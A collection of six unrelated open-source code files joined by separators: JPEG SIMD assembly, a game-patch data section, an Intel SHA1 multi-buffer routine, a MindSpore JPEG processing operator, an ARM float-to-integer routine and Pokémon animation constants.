; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Load data into workspace, applying unsigned->signed conversion
;
; GLOBAL(void)
; jsimd_convsamp_float_sse2 (JSAMPARRAY sample_data, JDIMENSION start_col,
; FAST_FLOAT * workspace);
;
%define sample_data ebp+8 ; JSAMPARRAY sample_data
%define start_col ebp+12 ; JDIMENSION start_col
%define workspace ebp+16 ; FAST_FLOAT * workspace
align 16
global EXTN(jsimd_convsamp_float_sse2)
EXTN(jsimd_convsamp_float_sse2):
push ebp
mov ebp,esp
push ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
pcmpeqw xmm7,xmm7
psllw xmm7,7
packsswb xmm7,xmm7 ; xmm7 = PB_CENTERJSAMPLE (0x808080..)
mov esi, JSAMPARRAY [sample_data] ; (JSAMPROW *)
mov eax, JDIMENSION [start_col]
mov edi, POINTER [workspace] ; (DCTELEM *)
mov ecx, DCTSIZE/2
alignx 16,7
.convloop:
mov ebx, JSAMPROW [esi+0*SIZEOF_JSAMPROW] ; (JSAMPLE *)
mov edx, JSAMPROW [esi+1*SIZEOF_JSAMPROW] ; (JSAMPLE *)
movq xmm0, XMM_MMWORD [ebx+eax*SIZEOF_JSAMPLE]
movq xmm1, XMM_MMWORD [edx+eax*SIZEOF_JSAMPLE]
psubb xmm0,xmm7 ; xmm0=(01234567)
psubb xmm1,xmm7 ; xmm1=(89ABCDEF)
punpcklbw xmm0,xmm0 ; xmm0=(*0*1*2*3*4*5*6*7)
punpcklbw xmm1,xmm1 ; xmm1=(*8*9*A*B*C*D*E*F)
punpcklwd xmm2,xmm0 ; xmm2=(***0***1***2***3)
punpckhwd xmm0,xmm0 ; xmm0=(***4***5***6***7)
punpcklwd xmm3,xmm1 ; xmm3=(***8***9***A***B)
punpckhwd xmm1,xmm1 ; xmm1=(***C***D***E***F)
psrad xmm2,(DWORD_BIT-BYTE_BIT) ; xmm2=(0123)
psrad xmm0,(DWORD_BIT-BYTE_BIT) ; xmm0=(4567)
cvtdq2ps xmm2,xmm2 ; xmm2=(0123)
cvtdq2ps xmm0,xmm0 ; xmm0=(4567)
psrad xmm3,(DWORD_BIT-BYTE_BIT) ; xmm3=(89AB)
psrad xmm1,(DWORD_BIT-BYTE_BIT) ; xmm1=(CDEF)
cvtdq2ps xmm3,xmm3 ; xmm3=(89AB)
cvtdq2ps xmm1,xmm1 ; xmm1=(CDEF)
movaps XMMWORD [XMMBLOCK(0,0,edi,SIZEOF_FAST_FLOAT)], xmm2
movaps XMMWORD [XMMBLOCK(0,1,edi,SIZEOF_FAST_FLOAT)], xmm0
movaps XMMWORD [XMMBLOCK(1,0,edi,SIZEOF_FAST_FLOAT)], xmm3
movaps XMMWORD [XMMBLOCK(1,1,edi,SIZEOF_FAST_FLOAT)], xmm1
add esi, byte 2*SIZEOF_JSAMPROW
add edi, byte 2*DCTSIZE*SIZEOF_FAST_FLOAT
dec ecx
jnz short .convloop
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
pop ebx
pop ebp
ret
; --------------------------------------------------------------------------
;
; Quantize/descale the coefficients, and store into coef_block
;
; GLOBAL(void)
; jsimd_quantize_float_sse2 (JCOEFPTR coef_block, FAST_FLOAT * divisors,
; FAST_FLOAT * workspace);
;
%define coef_block ebp+8 ; JCOEFPTR coef_block
%define divisors ebp+12 ; FAST_FLOAT * divisors
%define workspace ebp+16 ; FAST_FLOAT * workspace
align 16
global EXTN(jsimd_quantize_float_sse2)
EXTN(jsimd_quantize_float_sse2):
push ebp
mov ebp,esp
; push ebx ; unused
; push ecx ; unused
; push edx ; need not be preserved
push esi
push edi
mov esi, POINTER [workspace]
mov edx, POINTER [divisors]
mov edi, JCOEFPTR [coef_block]
mov eax, DCTSIZE2/16
alignx 16,7
.quantloop:
movaps xmm0, XMMWORD [XMMBLOCK(0,0,esi,SIZEOF_FAST_FLOAT)]
movaps xmm1, XMMWORD [XMMBLOCK(0,1,esi,SIZEOF_FAST_FLOAT)]
mulps xmm0, XMMWORD [XMMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)]
mulps xmm1, XMMWORD [XMMBLOCK(0,1,edx,SIZEOF_FAST_FLOAT)]
movaps xmm2, XMMWORD [XMMBLOCK(1,0,esi,SIZEOF_FAST_FLOAT)]
movaps xmm3, XMMWORD [XMMBLOCK(1,1,esi,SIZEOF_FAST_FLOAT)]
mulps xmm2, XMMWORD [XMMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)]
mulps xmm3, XMMWORD [XMMBLOCK(1,1,edx,SIZEOF_FAST_FLOAT)]
cvtps2dq xmm0,xmm0
cvtps2dq xmm1,xmm1
cvtps2dq xmm2,xmm2
cvtps2dq xmm3,xmm3
packssdw xmm0,xmm1
packssdw xmm2,xmm3
movdqa XMMWORD [XMMBLOCK(0,0,edi,SIZEOF_JCOEF)], xmm0
movdqa XMMWORD [XMMBLOCK(1,0,edi,SIZEOF_JCOEF)], xmm2
add esi, byte 16*SIZEOF_FAST_FLOAT
add edx, byte 16*SIZEOF_FAST_FLOAT
add edi, byte 16*SIZEOF_JCOEF
dec eax
jnz short .quantloop
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; unused
; pop ebx ; unused
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
|
;==================================================================================================
; Global variable storage for new code
;==================================================================================================
; Stores the item and player to give to
PLAYER_OVERRIDE_DATA:
.word 0x00000000, 0x00000000
; Stores the ITEM_DATA row of the current extended item.
EXTENDED_ITEM_DATA:
.word 0x00000000, 0x00000000, 0x00000000, 0x00000000
PENDING_SPECIAL_ITEM:
.byte 0x00
.byte 0x00
.byte 0x00
PENDING_SPECIAL_ITEM_END:
.byte 0x00
.align 4
TIME_TRAVEL_SAVED_EQUIPS:
.word 0x00000000 ; B and C buttons
.word 0x00000000 ; C button indexes
.halfword 0x0000 ; Equipment
.halfword 0x0000 ; Owned equipment
.align 4 |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2017 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "sha1_job.asm"
%include "sha1_mb_mgr_datastruct.asm"
%include "reg_sizes.asm"
%ifdef HAVE_AS_KNOWS_SHANI
extern sha1_mb_x4_sse
extern sha1_ni_x1
default rel
%ifidn __OUTPUT_FORMAT__, elf64
; LINUX register definitions
%define arg1 rdi ; rcx
%define arg2 rsi ; rdx
; idx needs to be other than ARG1, ARG2, rax, r8-r11
%define idx rdx ; rsi
%else
; WINDOWS register definitions
%define arg1 rcx
%define arg2 rdx
; idx needs to be other than ARG1, ARG2, rax, r8-r11
%define idx rsi
%endif
; Common definitions
%define state arg1
%define job arg2
%define len2 arg2
%define unused_lanes rbx
%define lane_data rbx
%define tmp2 rbx
%define job_rax rax
%define tmp1 rax
%define size_offset rax
%define tmp rax
%define start_offset rax
%define tmp3 arg1
%define extra_blocks arg2
%define p arg2
%define tmp4 r8
%define lens0 r8
%define lens1 r9
%define lens2 r10
%define lens3 r11
; STACK_SPACE needs to be an odd multiple of 8
_XMM_SAVE_SIZE equ 10*16
_GPR_SAVE_SIZE equ 8*2
_ALIGN_SIZE equ 8
_XMM_SAVE equ 0
_GPR_SAVE equ _XMM_SAVE + _XMM_SAVE_SIZE
STACK_SPACE equ _GPR_SAVE + _GPR_SAVE_SIZE + _ALIGN_SIZE
%define APPEND(a,b) a %+ b
; SHA1_JOB* sha1_mb_mgr_flush_sse_ni(SHA1_MB_JOB_MGR *state)
; arg 1 : rcx : state
global sha1_mb_mgr_flush_sse_ni:function
sha1_mb_mgr_flush_sse_ni:
sub rsp, STACK_SPACE
mov [rsp + _GPR_SAVE + 8*0], rbx
%ifidn __OUTPUT_FORMAT__, win64
mov [rsp + _GPR_SAVE + 8*1], rsi
movdqa [rsp + _XMM_SAVE + 16*0], xmm6
movdqa [rsp + _XMM_SAVE + 16*1], xmm7
movdqa [rsp + _XMM_SAVE + 16*2], xmm8
movdqa [rsp + _XMM_SAVE + 16*3], xmm9
movdqa [rsp + _XMM_SAVE + 16*4], xmm10
movdqa [rsp + _XMM_SAVE + 16*5], xmm11
movdqa [rsp + _XMM_SAVE + 16*6], xmm12
movdqa [rsp + _XMM_SAVE + 16*7], xmm13
movdqa [rsp + _XMM_SAVE + 16*8], xmm14
movdqa [rsp + _XMM_SAVE + 16*9], xmm15
%endif
; use num_lanes_inuse to judge all lanes are empty
cmp dword [state + _num_lanes_inuse], 0
jz return_null
; find a lane with a non-null job
xor idx, idx
cmp qword [state + _ldata + 1 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [one]
cmp qword [state + _ldata + 2 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [two]
cmp qword [state + _ldata + 3 * _LANE_DATA_size + _job_in_lane], 0
cmovne idx, [three]
; copy idx to empty lanes
copy_lane_data:
mov tmp, [state + _args + _data_ptr + 8*idx]
%assign I 0
%rep 4
cmp qword [state + _ldata + I * _LANE_DATA_size + _job_in_lane], 0
jne APPEND(skip_,I)
mov [state + _args + _data_ptr + 8*I], tmp
mov dword [state + _lens + 4*I], 0xFFFFFFFF
APPEND(skip_,I):
%assign I (I+1)
%endrep
; Find min length
mov DWORD(lens0), [state + _lens + 0*4]
mov idx, lens0
mov DWORD(lens1), [state + _lens + 1*4]
cmp lens1, idx
cmovb idx, lens1
mov DWORD(lens2), [state + _lens + 2*4]
cmp lens2, idx
cmovb idx, lens2
mov DWORD(lens3), [state + _lens + 3*4]
cmp lens3, idx
cmovb idx, lens3
mov len2, idx
and idx, 0xF
and len2, ~0xF
jz len_is_0
; compare with sha-sb threshold, if num_lanes_inuse <= threshold, using sb func
cmp dword [state + _num_lanes_inuse], SHA1_NI_SB_THRESHOLD_SSE
ja mb_processing
; lensN-len2=idx
shr len2, 4
mov [state + _lens + idx*4], DWORD(idx)
mov r10, idx
or r10, 0x1000 ; sse has 4 lanes *4, r10b is idx, r10b2 is 16
; "state" and "args" are the same address, arg1
; len is arg2, idx and nlane in r10
call sha1_ni_x1
; state and idx are intact
jmp len_is_0
mb_processing:
sub lens0, len2
sub lens1, len2
sub lens2, len2
sub lens3, len2
shr len2, 4
mov [state + _lens + 0*4], DWORD(lens0)
mov [state + _lens + 1*4], DWORD(lens1)
mov [state + _lens + 2*4], DWORD(lens2)
mov [state + _lens + 3*4], DWORD(lens3)
; "state" and "args" are the same address, arg1
; len is arg2
call sha1_mb_x4_sse
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _LANE_DATA_size
lea lane_data, [state + _ldata + lane_data]
mov job_rax, [lane_data + _job_in_lane]
mov qword [lane_data + _job_in_lane], 0
mov dword [job_rax + _status], STS_COMPLETED
mov unused_lanes, [state + _unused_lanes]
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _unused_lanes], unused_lanes
sub dword [state + _num_lanes_inuse], 1
movd xmm0, [state + _args_digest + 4*idx + 0*16]
pinsrd xmm0, [state + _args_digest + 4*idx + 1*16], 1
pinsrd xmm0, [state + _args_digest + 4*idx + 2*16], 2
pinsrd xmm0, [state + _args_digest + 4*idx + 3*16], 3
mov DWORD(tmp2), [state + _args_digest + 4*idx + 4*16]
movdqa [job_rax + _result_digest + 0*16], xmm0
mov [job_rax + _result_digest + 1*16], DWORD(tmp2)
return:
%ifidn __OUTPUT_FORMAT__, win64
movdqa xmm6, [rsp + _XMM_SAVE + 16*0]
movdqa xmm7, [rsp + _XMM_SAVE + 16*1]
movdqa xmm8, [rsp + _XMM_SAVE + 16*2]
movdqa xmm9, [rsp + _XMM_SAVE + 16*3]
movdqa xmm10, [rsp + _XMM_SAVE + 16*4]
movdqa xmm11, [rsp + _XMM_SAVE + 16*5]
movdqa xmm12, [rsp + _XMM_SAVE + 16*6]
movdqa xmm13, [rsp + _XMM_SAVE + 16*7]
movdqa xmm14, [rsp + _XMM_SAVE + 16*8]
movdqa xmm15, [rsp + _XMM_SAVE + 16*9]
mov rsi, [rsp + _GPR_SAVE + 8*1]
%endif
mov rbx, [rsp + _GPR_SAVE + 8*0]
add rsp, STACK_SPACE
ret
return_null:
xor job_rax, job_rax
jmp return
section .data align=16
align 16
one: dq 1
two: dq 2
three: dq 3
%else
%ifidn __OUTPUT_FORMAT__, win64
global no_sha1_mb_mgr_flush_sse_ni
no_sha1_mb_mgr_flush_sse_ni:
%endif
%endif ; HAVE_AS_KNOWS_SHANI
|
/**
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <string>
#include <vector>
#include <iostream>
#include "minddata/dataset/kernels/image/dvpp/utils/AclProcess.h"
#include "minddata/dataset/core/cv_tensor.h"
#include "minddata/dataset/kernels/image/image_utils.h"
#include "minddata/dataset/kernels/image/dvpp/utils/CommonDataType.h"
#include "minddata/dataset/core/data_type.h"
#include "minddata/dataset/kernels/image/dvpp/dvpp_decode_resize_crop_jpeg_op.h"
#include "include/api/context.h"
namespace mindspore {
namespace dataset {
Status DvppDecodeResizeCropJpegOp::Compute(const std::shared_ptr<Tensor> &input, std::shared_ptr<Tensor> *output) {
IO_CHECK(input, output);
if (!IsNonEmptyJPEG(input)) {
RETURN_STATUS_UNEXPECTED("SoftDvppDecodeReiszeJpegOp only support process jpeg image.");
}
try {
CHECK_FAIL_RETURN_UNEXPECTED(input->GetBuffer() != nullptr, "The input image buffer is empty.");
unsigned char *buffer = const_cast<unsigned char *>(input->GetBuffer());
RawData imageInfo;
uint32_t filesize = input->SizeInBytes();
imageInfo.lenOfByte = filesize;
imageInfo.data = std::make_shared<uint8_t>();
imageInfo.data.reset(new uint8_t[filesize], std::default_delete<uint8_t[]>());
memcpy_s(imageInfo.data.get(), filesize, buffer, filesize);
// First part end, whose function is to transform data from a Tensor to imageinfo data structure which can be
// applied on device
ResourceInfo resource;
resource.aclConfigPath = "";
resource.deviceIds.insert(mindspore::GlobalContext::GetGlobalDeviceID());
std::shared_ptr<ResourceManager> instance = ResourceManager::GetInstance();
APP_ERROR ret = instance->InitResource(resource);
if (ret != APP_ERR_OK) {
instance->Release();
std::string error = "Error in Init D-chip:" + std::to_string(ret);
RETURN_STATUS_UNEXPECTED(error);
}
int deviceId = *(resource.deviceIds.begin());
aclrtContext context = instance->GetContext(deviceId);
// Second part end where we initialize the resource of D chip and set up all configures
AclProcess process(resized_width_, resized_height_, crop_width_, crop_height_, context);
process.set_mode(true);
ret = process.InitResource();
if (ret != APP_ERR_OK) {
instance->Release();
std::string error = "Error in Init resource:" + std::to_string(ret);
RETURN_STATUS_UNEXPECTED(error);
}
ret = process.Process(imageInfo);
if (ret != APP_ERR_OK) {
instance->Release();
std::string error = "Error in dvpp processing:" + std::to_string(ret);
RETURN_STATUS_UNEXPECTED(error);
}
// Third part end where we execute the core function of dvpp
auto data = std::static_pointer_cast<unsigned char>(process.Get_Memory_Data());
unsigned char *ret_ptr = data.get();
std::shared_ptr<DvppDataInfo> CropOut = process.Get_Device_Memory_Data();
dsize_t dvpp_length = CropOut->dataSize;
const TensorShape dvpp_shape({dvpp_length, 1, 1});
const DataType dvpp_data_type(DataType::DE_UINT8);
mindspore::dataset::Tensor::CreateFromMemory(dvpp_shape, dvpp_data_type, ret_ptr, output);
if (!((*output)->HasData())) {
std::string error = "[ERROR] Fail to get the Output result from memory!";
RETURN_STATUS_UNEXPECTED(error);
}
process.device_memory_release();
process.Release();
// Last part end where we transform the processed data into a tensor which can be applied in later units.
} catch (const cv::Exception &e) {
std::string error = "[ERROR] Fail in DvppDecodeResizeCropJpegOp:" + std::string(e.what());
RETURN_STATUS_UNEXPECTED(error);
}
return Status::OK();
}
Status DvppDecodeResizeCropJpegOp::OutputShape(const std::vector<TensorShape> &inputs,
std::vector<TensorShape> &outputs) {
RETURN_IF_NOT_OK(TensorOp::OutputShape(inputs, outputs));
outputs.clear();
TensorShape out({-1, 1, 1}); // we don't know what is output image size, but we know it should be 3 channels
if (inputs[0].Rank() == 1) outputs.emplace_back(out);
if (!outputs.empty()) return Status::OK();
return Status(StatusCode::kMDUnexpectedError, "Input has a wrong shape");
}
} // namespace dataset
} // namespace mindspore
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Microsoft Research Singularity
;;;
;;; Copyright (c) Microsoft Corporation. All rights reserved.
;;;
;;; This file contains ARM-specific assembly code.
;;;
; __stoi single precision floating point to signed integer convert
;
; Input: r0 - float to be converted
; Output: r0 - converted float in integer format
;
; Local stack size and offsets
LOC_SIZE EQU 0x18
OrgOp1l EQU 0x14
ExDResl EQU 0x08
NewResl EQU 0x10
GET fpe.asm
GET kxarm.inc
AREA |.text|, CODE, READONLY
Export __stoi
IMPORT FPE_Raise
NESTED_ENTRY __stoi
EnterWithLR_16
STMFD sp!, {lr} ; Save return address
SUB sp, sp, #LOC_SIZE ; Allocate local storage
PROLOG_END
MOVS r12, r0 ; Save original arg in case of exception
MOV r3, #_FpSToI ; Initialize opcode, no exceptions
MOVS r2, r0, ASR #SFrc_len ; Right justify exponent, save sign bit
MOV r0, r0, LSL #SExp_len ; Left justify mantissa and
ORR r0, r0, #1 << 31 ; insert hidden one (even for denorms)
BMI _ffix_negative ; If negative input, separate case
RSBS r2, r2, #31 + SExp_bias ; Determine shift amount
BLE shift_left ; Negative shift is a shift left, NaN,
; or INF; zero shift is an overflow
CMP r2, #32 ; See if shifting all bits out
BGE shift_right_32 ; If shifting all bits out, return zero
shift_right
RSB r1, r2, #32 ; Check for inexact
MOVS r1, r0, LSL r1 ; ..
ORRNE r3, r3, #INX_bit ; ..
MOV r0, r0, LSR r2 ; Shift the result
B __stoi_return ; Return
shift_left
ORR r3, r3, #IVO_bit ; Overflow so set invalid operation
RSB r2, r2, #0 ; Get left shift amount
MOV r0, r0, LSL r2 ; Perform shift
B __stoi_return ; Return
shift_right_32 ; abs(Arg) < 1.0, so losing all bits
MOV r0, #0 ; Return zero
MOVS r1, r12, LSL #1 ; Check for inexact
ORRNE r3, r3, #INX_bit ; If bits being lost, set inexact
B __stoi_return ; Return
_ffix_negative
AND r2, r2, #0xFF ; Mask off exponent field
RSBS r2, r2, #31 + SExp_bias ; Determine shift amount
BLT shift_left_neg ; Negative shift is a shift left, NaN
; or INF
BEQ special_min_int ; INT_MIN special case
CMP r2, #32 ; See if shifting all bits out
BGE shift_right_32 ; If shifting all bits out, return zero
shift_right_neg
RSB r1, r2, #32 ; Check for inexact
MOVS r1, r0, LSL r1 ; ..
ORRNE r3, r3, #INX_bit ; ..
MOV r0, r0, LSR r2 ; Shift the result
RSB r0, r0, #0 ; Negate result
B __stoi_return ; Return
shift_left_neg
ORR r3, r3, #IVO_bit ; Overflow so set invalid operation
RSB r2, r2, #0 ; Get left shift amount
MOV r0, r0, LSL r2 ; Perform shift
RSB r0, r0, #0 ; Negate result
B __stoi_return ; Return
special_min_int
TEQ r0, #0x80000000 ; Special case of INT_MIN
RSB r0, r0, #0 ; Negate result
ORRNE r3, r3, #IVO_bit ; Set invalid if not special case
__stoi_return
TST r3, #FPECause_mask ; Any exceptions?
ADDEQ sp, sp, #LOC_SIZE ; If not, restore stack and
IF Interworking :LOR: Thumbing
LDMEQFD sp!, {lr} ; return
BXEQ lr
ELSE
LDMEQFD sp!, {pc} ; return
ENDIF
STR r0, [sp, #ExDResl] ; Store default result
ADD r0, sp, #NewResl ; Pointer to new result
MOV r1, r3 ; Exception information
MOV r2, r12 ; Original arg
CALL FPE_Raise ; Handle exception information
IF Thumbing :LAND: :LNOT: Interworking
CODE16
bx pc ; switch back to ARM mode
nop
CODE32
ENDIF
LDR r0, [sp, #NewResl] ; Load new result
ADD sp, sp, #LOC_SIZE ; Pop off exception record
IF Interworking :LOR: Thumbing
LDMFD sp!, {lr} ; Return
BX lr
ELSE
LDMFD sp!, {pc} ; Return
ENDIF
ENTRY_END __stoi
END
|
; battle_anim_struct members (see macros/wram.asm)
const_def
const BATTLEANIMSTRUCT_INDEX
const BATTLEANIMSTRUCT_01
const BATTLEANIMSTRUCT_02
const BATTLEANIMSTRUCT_FRAMESET_ID
const BATTLEANIMSTRUCT_FUNCTION
const BATTLEANIMSTRUCT_PALETTE
const BATTLEANIMSTRUCT_TILEID
const BATTLEANIMSTRUCT_XCOORD
const BATTLEANIMSTRUCT_YCOORD
const BATTLEANIMSTRUCT_XOFFSET
const BATTLEANIMSTRUCT_YOFFSET
const BATTLEANIMSTRUCT_PARAM
const BATTLEANIMSTRUCT_DURATION
const BATTLEANIMSTRUCT_FRAME
const BATTLEANIMSTRUCT_ANON_JT_INDEX
const BATTLEANIMSTRUCT_0F
const BATTLEANIMSTRUCT_10
const BATTLEANIMSTRUCT_11
const BATTLEANIMSTRUCT_12
const BATTLEANIMSTRUCT_13
const BATTLEANIMSTRUCT_14
const BATTLEANIMSTRUCT_15
const BATTLEANIMSTRUCT_16
const BATTLEANIMSTRUCT_17
BATTLEANIMSTRUCT_LENGTH EQU const_value
NUM_ANIM_OBJECTS EQU 10 ; see wActiveAnimObjects
; Start tile for battle animation graphics
BATTLEANIM_BASE_TILE EQU 7 * 7 ; Maximum size of a pokemon picture
; BattleAnimObjects indexes (see data/battle_anims/objects.asm)
const_def
const ANIM_OBJ_00
const ANIM_OBJ_01
const ANIM_OBJ_02
const ANIM_OBJ_03
const ANIM_OBJ_04
const ANIM_OBJ_05
const ANIM_OBJ_06
const ANIM_OBJ_07
const ANIM_OBJ_08
const ANIM_OBJ_FANG
const ANIM_OBJ_0A
const ANIM_OBJ_EMBER
const ANIM_OBJ_DRAGON_RAGE
const ANIM_OBJ_FLAMETHROWER
const ANIM_OBJ_FIRE_SPIN
const ANIM_OBJ_FIRE_BLAST
const ANIM_OBJ_BURNED
const ANIM_OBJ_BLIZZARD
const ANIM_OBJ_12
const ANIM_OBJ_ICE_BEAM
const ANIM_OBJ_RAZOR_LEAF
const ANIM_OBJ_POKE_BALL
const ANIM_OBJ_POKE_BALL_BLOCKED
const ANIM_OBJ_17
const ANIM_OBJ_18
const ANIM_OBJ_19
const ANIM_OBJ_1A
const ANIM_OBJ_1B
const ANIM_OBJ_BALL_POOF
const ANIM_OBJ_BIG_ROCK
const ANIM_OBJ_SMALL_ROCK
const ANIM_OBJ_STRENGTH
const ANIM_OBJ_SEISMIC_TOSS
const ANIM_OBJ_BUBBLE
const ANIM_OBJ_SURF
const ANIM_OBJ_SING
const ANIM_OBJ_WATER_GUN
const ANIM_OBJ_HYDRO_PUMP
const ANIM_OBJ_POWDER
const ANIM_OBJ_27
const ANIM_OBJ_28
const ANIM_OBJ_ICE_BUILDUP
const ANIM_OBJ_FROZEN
const ANIM_OBJ_MASTER_BALL_SPARKLE
const ANIM_OBJ_RECOVER
const ANIM_OBJ_2D
const ANIM_OBJ_2E
const ANIM_OBJ_2F
const ANIM_OBJ_THUNDER_WAVE
const ANIM_OBJ_31
const ANIM_OBJ_LIGHTNING_BOLT
const ANIM_OBJ_33
const ANIM_OBJ_34
const ANIM_OBJ_CLAMP
const ANIM_OBJ_BITE
const ANIM_OBJ_37
const ANIM_OBJ_38
const ANIM_OBJ_39
const ANIM_OBJ_3A
const ANIM_OBJ_3B
const ANIM_OBJ_3C
const ANIM_OBJ_3D
const ANIM_OBJ_GUST
const ANIM_OBJ_3F
const ANIM_OBJ_40
const ANIM_OBJ_41
const ANIM_OBJ_42
const ANIM_OBJ_SONICBOOM_JP
const ANIM_OBJ_44
const ANIM_OBJ_ABSORB
const ANIM_OBJ_EGG
const ANIM_OBJ_47
const ANIM_OBJ_48
const ANIM_OBJ_49
const ANIM_OBJ_LEECH_SEED
const ANIM_OBJ_4B
const ANIM_OBJ_WAVE
const ANIM_OBJ_CONFUSE_RAY
const ANIM_OBJ_4E
const ANIM_OBJ_4F
const ANIM_OBJ_SCREEN
const ANIM_OBJ_HARDEN
const ANIM_OBJ_CHICK
const ANIM_OBJ_AMNESIA
const ANIM_OBJ_ASLEEP
const ANIM_OBJ_SKULL
const ANIM_OBJ_56
const ANIM_OBJ_57
const ANIM_OBJ_58
const ANIM_OBJ_PARALYZED
const ANIM_OBJ_STRING_SHOT
const ANIM_OBJ_HAZE
const ANIM_OBJ_MIST
const ANIM_OBJ_SMOG
const ANIM_OBJ_POISON_GAS
const ANIM_OBJ_HORN
const ANIM_OBJ_60
const ANIM_OBJ_PETAL_DANCE
const ANIM_OBJ_SLUDGE_BOMB
const ANIM_OBJ_PAY_DAY
const ANIM_OBJ_64
const ANIM_OBJ_MIMIC
const ANIM_OBJ_ATTRACT
const ANIM_OBJ_BONEMERANG
const ANIM_OBJ_BONE_CLUB
const ANIM_OBJ_BONE_RUSH
const ANIM_OBJ_SWIFT
const ANIM_OBJ_KINESIS
const ANIM_OBJ_FLASH
const ANIM_OBJ_SHINY
const ANIM_OBJ_SKY_ATTACK
const ANIM_OBJ_LICK
const ANIM_OBJ_WITHDRAW
const ANIM_OBJ_71
const ANIM_OBJ_GROWTH
const ANIM_OBJ_CONVERSION2
const ANIM_OBJ_SMOKE
const ANIM_OBJ_SMOKESCREEN
const ANIM_OBJ_SWORDS_DANCE
const ANIM_OBJ_SPEED_LINE
const ANIM_OBJ_SHARPEN
const ANIM_OBJ_DEFENSE_CURL
const ANIM_OBJ_7A
const ANIM_OBJ_7B
const ANIM_OBJ_DISABLE
const ANIM_OBJ_AGILITY
const ANIM_OBJ_HEART
const ANIM_OBJ_FLAME_WHEEL
const ANIM_OBJ_SACRED_FIRE
const ANIM_OBJ_COTTON_SPORE
const ANIM_OBJ_MILK_DRINK
const ANIM_OBJ_ANGER
const ANIM_OBJ_84
const ANIM_OBJ_85
const ANIM_OBJ_BATON_PASS
const ANIM_OBJ_LOCK_ON
const ANIM_OBJ_MIND_READER
const ANIM_OBJ_SAFEGUARD
const ANIM_OBJ_PROTECT
const ANIM_OBJ_THIEF
const ANIM_OBJ_OCTAZOOKA
const ANIM_OBJ_PRESENT
const ANIM_OBJ_SPIKES
const ANIM_OBJ_POWDER_SNOW
const ANIM_OBJ_DRAGONBREATH
const ANIM_OBJ_CONVERSION
const ANIM_OBJ_SPIDER_WEB
const ANIM_OBJ_93
const ANIM_OBJ_NIGHTMARE
const ANIM_OBJ_IN_NIGHTMARE
const ANIM_OBJ_LOVELY_KISS
const ANIM_OBJ_SWEET_KISS
const ANIM_OBJ_SKETCH
const ANIM_OBJ_99
const ANIM_OBJ_9A
const ANIM_OBJ_DESTINY_BOND
const ANIM_OBJ_MORNING_SUN
const ANIM_OBJ_GLIMMER
const ANIM_OBJ_MOONLIGHT
const ANIM_OBJ_HIDDEN_POWER
const ANIM_OBJ_A0
const ANIM_OBJ_A1
const ANIM_OBJ_SANDSTORM
const ANIM_OBJ_ZAP_CANNON
const ANIM_OBJ_SPITE
const ANIM_OBJ_CURSE
const ANIM_OBJ_PERISH_SONG
const ANIM_OBJ_FORESIGHT
const ANIM_OBJ_RAPID_SPIN
const ANIM_OBJ_SWAGGER
const ANIM_OBJ_AA
const ANIM_OBJ_AB
const ANIM_OBJ_MEAN_LOOK
const ANIM_OBJ_AD
const ANIM_OBJ_AE
const ANIM_OBJ_RAIN
const ANIM_OBJ_B0
const ANIM_OBJ_PSYCH_UP
const ANIM_OBJ_ANCIENTPOWER
const ANIM_OBJ_AEROBLAST
